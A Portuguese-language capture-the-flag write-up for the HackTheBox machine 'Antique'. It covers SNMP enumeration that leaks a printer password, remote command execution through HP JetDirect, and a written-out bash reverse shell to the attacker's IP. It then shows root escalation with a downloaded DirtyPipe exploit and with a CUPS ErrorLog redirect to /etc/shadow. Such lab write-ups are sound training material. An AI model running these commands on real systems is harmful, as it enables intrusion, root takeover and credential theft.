> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md).

# Resolução da máquina Antique do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/400>" %}

{% hint style="warning" %}
Habilidades:

* Enumeração SNMP
* Abuso de Impressora de Rede
* Exploração da Administração do CUPS (ErrorLog)
* EXTRA -> (DirtyPipe) (CVE-2022-0847]
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Vamos estabelecer nosso espaço de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento usando o Nmap

<figure><img src="/files/0d3134b0c22799dacf7293769aec10f4acd42de7" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/774d1034a1a4206034b2dc45ddbda35845a952c1" alt="" width="563"><figcaption></figcaption></figure>

### Varredura TCP:

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts
```

<figure><img src="/files/8be02e5710f71c687b1a83bd463b07f5ab0e949a" alt="" width="563"><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (23.7777)

<figure><img src="/files/5d9872caf1435ab4fd3c58fb8cc2c3feb7cfc5d4" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p23,7777 10.10.11.107 -oN targeted
```

<figure><img src="/files/9b6e6e00e4b08e5b8985d081043b5d02cd72abfd" alt=""><figcaption></figcaption></figure>

### Varredura UDP:

**Descoberta de portas abertas com Nmap:**

Também realizamos uma varredura nas portas UDP com **Nmap**:

```bash
nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP
```

Extraímos os resultados novamente com `extractPorts`, e observamos a abertura da porta **161**, usada por SNMP.:

<figure><img src="/files/19cf90b34ef296f04053730a267d3687e29ba124" alt=""><figcaption></figcaption></figure>

## Explorando Serviços

### Porta 23 (Telnet) – HP JetDirect

Ao tentar conectar na porta **23** via **Telnet**, encontramos um serviço HP JetDirect que nos pede uma senha. Podemos tentar conectar com:

```bash
nc -vn 10.10.11.107 23
```

<figure><img src="/files/26c715cda9c0f907ce1116355aa1d177cabc3b4d" alt="" width="563"><figcaption></figcaption></figure>

### Porta 161 (SNMP)

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

Usamos **snmpbulkwalk** para enumerar os serviços SNMP expostos na porta **161**:

```bash
snmpbulkwalk -c public -v2c 10.10.11.107 .
```

<figure><img src="/files/2f5b6edba7448267fcfe32fea18e35eb1b197c19" alt=""><figcaption></figcaption></figure>

```bash
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```

Isso nos dá uma string de caracteres hexadecimal que convertemos para ASCII para obter o conteúdo legível:

{% code overflow="wrap" %}

```bash
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/6cbdd6fccad40e3d0f6e5888897e908d8596a9ec" alt=""><figcaption></figcaption></figure></div>

Este canal contém algumas informações interessantes, mas nada imediatamente útil para exploração.

```bash
nc -vn 10.10.11.107 23
P@ssw0rd@123!!123
```

<figure><img src="/files/4fe660f72ff6b69dfdabebbc3e351093fe2fbea5" alt=""><figcaption></figcaption></figure>

Ao tentar injetar uma string como senha na porta 23 (JetDirect), usamos tentativas como:

```bash
P@ssw0rd@123!!123
```

<figure><img src="/files/69b7389b43d884108c9ac93bd25e15a825169517" alt=""><figcaption></figcaption></figure>

## Abuso de Impressora de Rede

Detectamos que é possível executar comandos através da impressora de rede. A exploração dessa vulnerabilidade depende do `exec` comando, que permite injetar comandos remotos. Por exemplo:

```bash
exec id
```

<figure><img src="/files/3f2eb28d49cbb4ce4dd74598498f52638890b8d4" alt=""><figcaption></figcaption></figure>

Isso retorna credenciais do sistema e permite executar outros comandos.

**Shell reverso**

Estabelecemos uma shell reversa usando **nc** na porta **443** da máquina atacante:

```bash
nc -nvlp 443
```

```bash
exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" 
```

<figure><img src="/files/32fa11d4ae70924f8688230bf87505cd101be479" alt=""><figcaption></figcaption></figure>

Em seguida, manipulamos a sessão de shell para obter melhor controle:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### flag user.txt :) <a href="#user-flag" id="user-flag"></a>

<figure><img src="/files/0ab387244d9e3d6842698a685a35df8087ad2c19" alt="" width="561"><figcaption></figcaption></figure>

## Escalada de privilégios

## 1. Exploração DirtyPipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

Verificamos se a máquina era vulnerável ao exploit DirtyPipe, um bug que permite modificar arquivos do sistema em execução. Descobrimos que a máquina tinha **gcc**, um compilador C, disponível no local `/usr/bin/gcc`.

```bash
lp@antique:/home/lp$ which gcc
/usr/bin/gcc
```

Em seguida, usamos **Python3** para transferir o exploit da nossa máquina local para a máquina alvo. Na nossa máquina local, iniciamos um servidor HTTP para hospedar o exploit:

```bash
python3 -m http.server
```

Na máquina vítima, baixamos o exploit:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="/files/ba82357f559bb6399529baf8bdc61d88df545978" alt=""><figcaption></figcaption></figure>

Depois que o exploit foi recuperado, compilamos o arquivo C com **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
O exploit modifica o `/etc/passwd` arquivo ao injetar um hash de senha e adiciona um usuário `aaron` com uma senha específica, tudo para permitir escalonamento de privilégios.
{% endhint %}

<figure><img src="/files/05eaf68aa3bd7e779f9bbd52aaa1d4d05cf11141" alt=""><figcaption></figcaption></figure>

Por fim, basta executar o script:

```bash
./exploit
```

Isso nos permite obter `root`/*/* acesso à máquina

<figure><img src="/files/a5dc75a9643575e829c160def06c566dc15b9b6e" alt=""><figcaption></figcaption></figure>

## 2. Encaminhamento de Porta com Chisel

Ao inspecionar as portas abertas na máquina alvo, encontramos a porta **631** (usada pelo CUPS). Usando o seguinte comando, confirmamos a presença de um serviço CUPS:

```bash
netstat -nat
```

O serviço CUPS está na versão **1.6.1** e identificamos que ele pode ser vulnerável. Para redirecionar esta porta, usamos **Chisel**, uma ferramenta de tunelamento.

<figure><img src="/files/86a6b8f96a504285b7b3380eef9aaf60cff40de0" alt=""><figcaption></figcaption></figure>

Primeiro compilamos o Chisel na nossa máquina local:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
go build -ldflags "-s -w" .
upx chisel
```

Em seguida, transferimos o executável Chisel para a máquina vítima por meio de um servidor HTTP Python3:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/f682de14077eeaf5d95c5645dba55cf334befc7c" alt=""><figcaption></figcaption></figure>

Na nossa máquina, iniciamos o servidor Chisel:

```bash
chisel server -p 8888 -reverse
```

Em seguida, na máquina vítima, configuramos o cliente Chisel para redirecionar a porta 631 para a nossa máquina local:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/b219357f39cafb3fbd532dcbd21a68437038e4f1" alt="" width="563"><figcaption></figcaption></figure>

Isso nos permite acessar a interface web do CUPS da máquina alvo por meio de um túnel seguro.

### Exploração da Vulnerabilidade CUPS 1.6.1

{% embed url="<https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb>" %}

Usando **cupsctl**, modificamos o **CUPS** configuração do serviço para redirecionar o **ErrorLog** arquivo para um arquivo sensível, como **/etc/shadow**. Isso permite que esse arquivo seja lido como root pela interface web do CUPS.

Comando para modificar a configuração:

```bash
cupsctl ErrorLog=/etc/shadow
```

Então acessamos a interface web do CUPS visitando a seguinte URL no servidor CUPS por meio do nosso túnel:

Isso tornou possível visualizar o conteúdo do **/etc/shadow** arquivo e obter o `root.txt` flag.

<figure><img src="/files/6ca6e378e377f52f39a6706f75dd165ae9b718c9" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/1c57b8b2b3208199a42011d28867352fbdca580b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7eb642cb66723ea6d889b784858ba36b67c3757e" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
